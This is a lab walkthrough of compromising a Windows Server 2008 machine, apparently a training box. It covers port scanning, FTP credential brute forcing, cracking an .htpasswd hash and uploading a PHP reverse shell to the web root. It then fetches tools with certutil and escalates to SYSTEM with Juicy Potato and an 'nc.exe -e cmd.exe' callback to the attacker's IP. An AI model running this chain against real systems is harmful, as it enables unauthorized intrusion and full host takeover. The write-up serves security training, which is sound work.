Initial Reconnaissance
To kick things off, I began by running a quick port scan using rustscan
on the target machine at 192.168.150.46
. This is a fast tool that helps identify open ports so I can get an early idea of which services might be running.
rustscan -a 192.168.150.46
The results showed the following open ports:
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 125
242/tcp open direct syn-ack ttl 125
3145/tcp open csi-lfap syn-ack ttl 125
3389/tcp open ms-wbt-server syn-ack ttl 125
So far, that gives us FTP (port 21), a web service on a non-standard port (242), another service that looks like it’s part of the same FTP software (3145), and Remote Desktop (3389). Seeing RDP usually confirms we’re dealing with a Windows machine.
Detailed Nmap Scan
Next, I followed up with a more comprehensive Nmap scan. This is my go-to step for every box, as it gives a fuller picture of what’s running under the hood. I used the following options:
Pn
skips the ping check (useful if ICMP is blocked),n
avoids DNS resolution (faster and less noisy),sC
runs default scripts,sV
attempts to determine service versions,p-
scans all 65,535 ports,-open
focuses on open ports only.
sudo nmap -Pn -n $IP -sC -sV -A -p- --open
PORT STATE SERVICE VERSION
21/tcp open ftp zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| total 9680
| ---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe
| ---------- 1 root root 25 Feb 10 2011 UninstallService.bat
| ---------- 1 root root 4284928 Oct 18 2011 Uninstall.exe
| ---------- 1 root root 17 Aug 13 2011 StopService.bat
| ---------- 1 root root 18 Aug 13 2011 StartService.bat
| ---------- 1 root root 8736 Nov 09 2011 Settings.ini
| dr-xr-xr-x 1 root root 512 Apr 09 11:02 log
| ---------- 1 root root 2275 Aug 08 2011 LICENSE.htm
| ---------- 1 root root 23 Feb 10 2011 InstallService.bat
| dr-xr-xr-x 1 root root 512 Nov 08 2011 extensions
| dr-xr-xr-x 1 root root 512 Nov 08 2011 certificates
|_dr-xr-xr-x 1 root root 512 Aug 03 2024 accounts
242/tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
|_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8
| http-auth:
| HTTP/1.1 401 Authorization Required\x0D
|_ Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
|_http-title: 401 Authorization Required
3145/tcp open zftp-admin zFTPServer admin
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=LIVDA
| Not valid before: 2024-08-02T13:17:54
|_Not valid after: 2025-02-01T13:17:54
|_ssl-date: 2025-04-09T04:27:05+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: LIVDA
| NetBIOS_Domain_Name: LIVDA
| NetBIOS_Computer_Name: LIVDA
| DNS_Domain_Name: LIVDA
| DNS_Computer_Name: LIVDA
| Product_Version: 6.0.6001
|_ System_Time: 2025-04-09T04:26:58+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
This tells us quite a bit:
- The FTP service is running an old version of zFTPServer and allows anonymous logins.
- There’s an Apache web server on port 242, and it uses HTTP basic authentication.
- zFTPServer also exposes an admin interface on port 3145.
- RDP is enabled, with the machine’s hostname identified as
LIVDA
.
This output also confirms it’s running some flavour of Windows (specifically Server 2008, based on the product version).
https://www.gaijin.at/en/infos/windows-version-numbers
UDP Scan
Since some services might only respond over UDP, I also ran a basic UDP scan on the top 100 ports:
sudo nmap -Pn -n $IP -sU --top-ports=100
(This didn’t turn up anything useful for this box, but it’s still good practice to check.)
Initial Observations
One thing that stood out immediately was the FTP service allowing anonymous access. That’s usually a sign the system hasn’t been locked down properly, and it gives us an easy way to start exploring. If I can browse through files without even logging in, there's a good chance more low-hanging fruit is waiting.
I also noted the Apache web server running on port 242 (instead of the usual port 80), which could host useful content or functionality. We'll come back to that, but for now, it's time to get directory brute-forcing underway with Gobuster.
Gobuster Web Enumeration
I kicked off a Gobuster scan in a separate terminal. The key here is to remember to include the custom port (:242
), set an appropriate number of threads (42 in this case), and ignore common error codes like 400, 403, and 404.
sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:242 -t 42 -b 404,403,400
However, Gobuster returned a message warning that all non-existent URLs return a 401 error, which could interfere with our scan:
Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.150.46:242/9424f7aa-be51-4d3a-b5f9-9fb792d25d97 => 401 (Length: 401). To continue please exclude the status code or the length
To fix this, I updated the command to exclude responses with that same length (401 bytes):
sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:242 -t 42 -b 404,403,400 --exclude-length 401
While that scan ran in the background, I returned to the TCP scan results to dive deeper.
Exploring the FTP Service
With anonymous FTP access available on port 21, I decided to dig into that first. It’s always a good sign when you can interact with a service straight away—especially one that gives you access without needing credentials.
In real-world situations, anonymous FTP access is a red flag. If a system is allowing this, chances are there are other security oversights too. So I made sure to explore everything thoroughly.
From the earlier Nmap output, we already saw that several files and directories are available, including what looks like executables, scripts, and config files. To download the whole lot for easier inspection on my Kali box, I used wget
:
wget -r ftp://Anonymous:pass@$IP
The -r
option tells wget to recursively download everything. It will create a folder named after the IP address and pull down whatever it can access.
However, not everything came through. I noticed a bunch of errors where wget tried to fetch files, but the server rejected the downloads. For example:
--2025-04-09 00:26:22-- ftp://Anonymous:*password*@192.168.150.46/zFTPServer.exe
=> ‘192.168.150.46/zFTPServer.exe’
==> CWD not required.
==> PASV ... done. ==> RETR zFTPServer.exe ...
No such file ‘zFTPServer.exe’.
That was odd. I double-checked by logging in manually using the ftp
command:
ftp $IP 21
Once connected, I saw the same list of files—but none of them were actually accessible. All files were owned by root
with read-only permissions, and no rights for anonymous users. That would explain the failed downloads. What was even stranger was the presence of Linux-style file ownership and directory paths like /bin/ls
, even though we’re on a Windows box. Possibly a quirk of the FTP software in use.
Useful Information from FTP
Even though I couldn’t grab the files, the directory listing still gave us some useful leads. In particular, the accounts
folder stood out. Inside, I found what appeared to be usernames:
That’s a good start for building a user list. I saved them to a file for later:
┌──(kali㉿kali)-[~/Authby]
└─$ cat usernames.txt
Offsec
admin
There was also a backup
directory, but it didn’t reveal anything new. As a final check, I wanted to see if I could upload files. I created a test file and tried putting it on the server:
┌──(kali㉿kali)-[~/Authby]
└─$ touch test.txt
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||2196|)
550 Access denied
However the server replied Access denied, so anonymous users don’t have write access either.
Brute-Forcing FTP Credentials
With that user list in hand, I turned to Hydra to try brute-forcing the FTP credentials.
sudo hydra -L usernames.txt -P '/usr/share/wordlists/seclists/Passwords/probable-v2-top1575.txt' -s 21 ftp://$IP
Here’s what the options do:
L
is the list of usernames (from earlier),P
is the list of passwords (I used one of the smaller, more common ones),s 21
specifies the port,- and
ftp://
sets the protocol.
If I wanted to be more thorough, I could have used the rockyou.txt
list with more threads (-t 64
), but this was quick enough.
Not long after, Hydra returned a hit—admin:admin
. That’s classic.
Logging into FTP as Admin and Exploring the Web Root
Now that we had valid FTP credentials (admin:admin
), I logged in again—this time with elevated access.
└─$ ftp $IP 21
Connected to 192.168.150.46.
220 zFTPServer v6.0, build 2011-10-17 15:25 ready.
Name (192.168.150.46:kali): admin
331 User name received, need password.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||2197|)
150 Opening connection for /bin/ls.
total 3
-r--r--r-- 1 root root 76 Nov 08 2011 index.php
-r--r--r-- 1 root root 45 Nov 08 2011 .htpasswd
-r--r--r-- 1 root root 161 Nov 08 2011 .htaccess
This time, things looked a bit more interesting. There were three files:
index.php
.htpasswd
.htaccess
These are standard files you’d expect in the root directory of a web server. It’s a safe bet this is the content being served over the Apache instance we spotted earlier on port 242.
To save a copy of everything locally, I used the mget
(multi-get) command in FTP. When prompted to confirm each file, I typed yes
to grab them all.
ftp> mget *
mget index.php [anpqy?]? yes
229 Entering Extended Passive Mode (|||2199|)
150 File status okay; about to open data connection.
100% |***********************************************************************************************************************************************************************************************| 76 894.20 KiB/s 00:00 ETA
226 Closing data connection.
76 bytes received in 00:00 (0.59 KiB/s)
mget .htpasswd [anpqy?]? yes
229 Entering Extended Passive Mode (|||2200|)
150 File status okay; about to open data connection.
100% |***********************************************************************************************************************************************************************************************| 45 82.60 KiB/s 00:00 ETA
226 Closing data connection.
45 bytes received in 00:00 (0.35 KiB/s)
mget .htaccess [anpqy?]? yes
229 Entering Extended Passive Mode (|||2201|)
150 File status okay; about to open data connection.
100% |***********************************************************************************************************************************************************************************************| 161 631.43 KiB/s 00:00 ETA
226 Closing data connection.
161 bytes received in 00:00 (1.23 KiB/s)
Upload Access Confirmed
After downloading the files, I tested again whether we could upload to this directory—now that we were logged in as admin
. This time it worked. The file showed up in the directory listing.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||2202|)
150 File status okay; about to open data connection.
0 0.00 KiB/s
226 Closing data connection.
ftp> dir
229 Entering Extended Passive Mode (|||2203|)
150 Opening connection for /bin/ls.
total 3
-r--r--r-- 1 root root 0 Apr 09 11:41 test.txt
-r--r--r-- 1 root root 76 Nov 08 2011 index.php
-r--r--r-- 1 root root 45 Nov 08 2011 .htpasswd
-r--r--r-- 1 root root 161 Nov 08 2011 .htaccess
226 Closing data connection.

So, we’ve confirmed we can write files directly to the web server’s root directory. Since the server is running PHP, we might be able to upload a PHP script and get it executed remotely—very handy for getting a shell.
Analysing the Downloaded Files
Next, I opened up the files we downloaded from FTP:
index.php
<center><pre>Qui e nuce nuculeum esse volt, frangit nucem!</pre></center>
This is just a basic HTML message in Latin (roughly translated: "He who wants the kernel must crack the nut."). Doesn’t do much, but confirms the site is active.
.htaccess
AuthName "Qui e nuce nuculeum esse volt, frangit nucem!"
AuthType Basic
AuthUserFile c:\\wamp\www\.htpasswd
<Limit GET POST PUT>
Require valid-user
</Limit>
This file defines HTTP basic authentication. It's telling the server to protect access to the site with a username/password combo, and points to a password file located at c:\wamp\www\.htpasswd
.
.htpasswd
offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0
Here we’ve got a username (offsec
) and a hashed password. Time to crack it!
Cracking the .htpasswd Password and Accessing the Website
With the .htpasswd
file in hand, we had a hashed password for the user offsec
:
$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0
This hash format (starting with $apr1$
) tells us it's an Apache MD5 hash, commonly used in .htpasswd
files.
I saved the hash to a file so we could crack it using John the Ripper:
echo '$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0' > offsec.hash
Then I ran John against the rockyou.txt
wordlist. This is one of the most commonly used lists for cracking simple or reused passwords:
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 offsec.hash
Before long, John returned a cracked password:
elite

So the credentials for the web server’s login prompt are:
Username: offsec
Password: elite
Side note: earlier, we had tried using Offsec
with a capital ‘O’—but the username here is lowercase. Just something to watch out for when brute-forcing or testing creds.
Logging into the Website
I headed to the web server using a browser, making sure to include the correct port:
http://192.168.150.46:242
The browser prompted for a username and password, so I entered offsec:elite
. That worked, and I was granted access to the site.

The page itself was basic—it just displayed the same Latin message from index.php
:
Qui e nuce nuculeum esse volt, frangit nucem!

So we now have:
- Write access to the web server’s root directory via FTP,
- And access to view pages via the browser, using
offsec:elite
.
This sets us up nicely to upload a PHP reverse shell and trigger it via the browser.
Uploading and Triggering a PHP Reverse Shell
Since we confirmed earlier that the web server is running PHP and we’ve got FTP write access to its root directory, we can now upload a PHP reverse shell and execute it by visiting the file in a browser.
Choosing a Reverse Shell
For Windows targets, I like using Ivan Sincek’s PHP reverse shell from revshells.com. It’s a bit more reliable on Windows compared to the more common Linux-targeted options like the PentestMonkey shell.
I went to the site and generated a PHP shell, making sure to:
- Set the IP address to my Kali machine’s tun0 IP, and
- Choose a port that I’ll set up a listener on (I used
135
here).
I saved the script as ivan-shell.php
.

Uploading the Reverse Shell
Using FTP as admin
, I uploaded the reverse shell to the web root:
ftp> put ivan-shell.php
local: ivan-shell.php remote: ivan-shell.php
229 Entering Extended Passive Mode (|||2204|)
150 File status okay; about to open data connection.
100% |***********************************************************************************************************************************************************************************************| 9287 68.65 MiB/s 00:00 ETA
226 Closing data connection.
9287 bytes sent in 00:00 (35.00 KiB/s)
ftp> dir
229 Entering Extended Passive Mode (|||2205|)
150 Opening connection for /bin/ls.
total 13
-r--r--r-- 1 root root 0 Apr 09 11:41 test.txt
-r--r--r-- 1 root root 9287 Apr 09 11:50 ivan-shell.php
-r--r--r-- 1 root root 76 Nov 08 2011 index.php
-r--r--r-- 1 root root 45 Nov 08 2011 .htpasswd
-r--r--r-- 1 root root 161 Nov 08 2011 .htaccess
226 Closing data connection.

Setting Up the Listener
Back on my Kali box, I set up a Netcat listener to wait for the reverse connection. I used rlwrap
to allow arrow key history in the shell (very handy):
sudo rlwrap nc -nvlp 135
Make sure the port here matches the one you hardcoded into the PHP shell earlier.
Triggering the Reverse Shell
Now for the moment of truth. I opened the browser and navigated to the uploaded shell:
http://192.168.150.46:242/ivan-shell.php

The browser just hung—no output, which is usually a good sign. I switched back to the terminal where Netcat was listening…
Boom! Shell caught.
┌──(kali㉿kali)-[~/Authby]
└─$ sudo rlwrap nc -nvlp 135
[sudo] password for kali:
listening on [any] 135 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.150.46] 49157
SOCKET: Shell has connected! PID: 1104
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\wamp\bin\apache\Apache2.2.21>

We now had a working reverse shell as the web server user—likely apache
.
Privilege Escalation: Enumerating Windows Internals
Check User Privileges
First thing I always do in a Windows shell is check what privileges the current user has. This can give clues about what escalation paths might work.
whoami /priv
C:\wamp\bin\apache\Apache2.2.21>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The standout here is SeImpersonatePrivilege
. This one is gold—it means we can likely use a "Potato" attack, which abuses Windows COM and token impersonation to escalate to NT AUTHORITY\SYSTEM (the highest privilege level on Windows).
Gather System Information
Before choosing an exploit, I ran systeminfo
to find out more about the OS, architecture, and environment:
systeminfo
C:\wamp\bin\apache\Apache2.2.21>systeminfo
Host Name: LIVDA
OS Name: Microsoftr Windows Serverr 2008 Standard
OS Version: 6.0.6001 Service Pack 1 Build 6001
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 92573-OEM-7502905-27565
Original Install Date: 12/19/2009, 11:25:57 AM
System Boot Time: 4/8/2025, 8:59:08 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2650 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT-08:00) Pacific Time (US & Canada)
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,658 MB
Page File: Max Size: 1,985 MB
Page File: Available: 1,541 MB
Page File: In Use: 444 MB
Page File Location(s): N/A
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): N/A
This tells us we’ll need to use 32-bit binaries (x86), and also confirms this is an older system—a good sign for privilege escalation exploits.
Locate the User Flag
Just to confirm our access level, I navigated to the Apache user’s Desktop to check for the local.txt
flag.
cd C:\Users\apache\Desktop
dir
C:\Users\apache\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is BCAD-595B
Directory of C:\Users\apache\Desktop
07/09/2020 11:05 AM <DIR> .
07/09/2020 11:05 AM <DIR> ..
04/08/2025 09:02 PM 34 local.txt
1 File(s) 34 bytes
2 Dir(s) 6,010,920,960 bytes free
C:\Users\apache\Desktop>type local.txt
cf3074513a02c4ffa0b63788d56603c4
C:\Users\apache\Desktop>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : LIVDA
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-60-2C
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::b951:eb76:2d76:d719%12(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.150.46(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.150.254
DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
NetBIOS over Tcpip. . . . . . . . : Enabled
Tunnel adapter Local Area Connection*:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter Local Area Connection* 9:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
Physical Address. . . . . . . . . : 02-00-54-55-4E-01
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes

Getting SYSTEM with Juicy Potato
With SeImpersonatePrivilege
in our pocket and a vulnerable Windows version, I decided to go with Juicy Potato—a well-known privilege escalation tool that works great in this type of scenario.
Get Juicy Potato on the Target
I downloaded the 32-bit version from:
https://github.com/ivanitlearning/Juicy-Potato-x86/releases/tag/1.2
Then used a Python web server on Kali to host the file:
python3 -m http.server 80
On the target, I fetched the binary using certutil
:
certutil -urlcache -split -f http://192.168.45.155/Juicy.Potato.x86.exe
Test Basic Execution
To see how Juicy Potato runs and what options it accepts:
.\Juicy.Potato.x86.exe
C:\Users\apache\Desktop>.\Juicy.Potato.x86.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
It spits out its usage guide, showing the required arguments:
l
→ Port to bind the COM listenerp
→ Program to run with elevated privilegesa
→ Arguments to pass to that programt
→ Method to use ( means "try both")c
→ CLSID (Component Object)—optional
I ran a test command first to check if it could elevate and run whoami
:
.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *
C:\Users\apache\Desktop>.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *
Testing {4991D34B-80A1-4291-B697-000000000000} 1360
COM -> recv failed with error: 10038

I chose a random port—1360—to use with the -l
(listen) option in Juicy Potato. Just to clarify: this port has nothing to do with the port you're using on your Kali machine to catch the reverse shell. It's purely used by Juicy Potato on the target machine for its internal COM service listener.
Unfortunately, it failed with a COM error, so I needed to supply a working CLSID. CLSIDs identify Windows services that Juicy Potato can try to abuse. Some work, some don’t—it’s trial and error unless you know the system well.
CLSID stands for Class Identifier. It's a unique 128-bit identifier (like a GUID) that Windows uses to refer to COM objects—that is, reusable software components built using Microsoft’s Component Object Model (COM) architecture.
I grabbed a list of known good CLSIDs for various Windows versions from:
https://github.com/ohpe/juicy-potato/tree/master/CLSID

For this target (Windows Server 2008), I chose one that corresponds to the Windows Update service, which is nearly always running:
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
I ran Juicy Potato again, this time with the CLSID:
.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
C:\Users\apache\Desktop>.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1360
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

That worked! I now had the ability to launch a process as SYSTEM.
Spawn a SYSTEM-Level Reverse Shell
I uploaded a copy of nc.exe
(Netcat) to the target using the same certutil
method:
certutil -urlcache -split -f http://192.168.45.155/nc.exe
Then I set up a listener on Kali:
rlwrap nc -nvlp 242
Finally, I ran Juicy Potato one more time—this time launching nc.exe
to connect back to my machine as SYSTEM:
.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c C:\Users\apache\Desktop\nc.exe -e cmd.exe 192.168.45.155 242" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
C:\Users\apache\Desktop>.\Juicy.Potato.x86.exe -l 1360 -p c:\windows\system32\cmd.exe -a "/c C:\Users\apache\Desktop\nc.exe -e cmd.exe 192.168.45.155 242" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1360
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

Listener caught the shell. Success. We’re SYSTEM.
┌──(kali㉿kali)-[~/Tools]
└─$ rlwrap nc -nvlp 242
listening on [any] 242 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.150.46] 49175
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Capturing the Root Flag
The root flag proof.txt
is located in the Administrator’s Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is BCAD-595B
Directory of C:\Users\Administrator\Desktop
07/09/2020 11:02 AM <DIR> .
07/09/2020 11:02 AM <DIR> ..
04/08/2025 09:02 PM 34 proof.txt
11/08/2011 04:37 AM 471 WampServer.lnk
11/08/2011 04:52 AM 927 zFTPServer Administration.lnk
3 File(s) 1,432 bytes
2 Dir(s) 6,009,421,824 bytes free
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
36381c3b982784aeb116345d8a06eb6c
C:\Users\Administrator\Desktop>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : LIVDA
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-60-2C
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::b951:eb76:2d76:d719%12(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.150.46(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.150.254
DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
NetBIOS over Tcpip. . . . . . . . : Enabled
Tunnel adapter Local Area Connection*:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes

Final Thoughts
This machine was a great example of a misconfigured Windows host:
- Anonymous FTP access exposing internal structure
- Weak credentials (
admin:admin
) - Old software versions and predictable file locations
.htpasswd
with a crackable password- Classic Windows privesc via
SeImpersonatePrivilege
and Juicy Potato
It reinforces how small oversights can open the door for full system compromise—and shows why layered hardening is critical in real-world environments.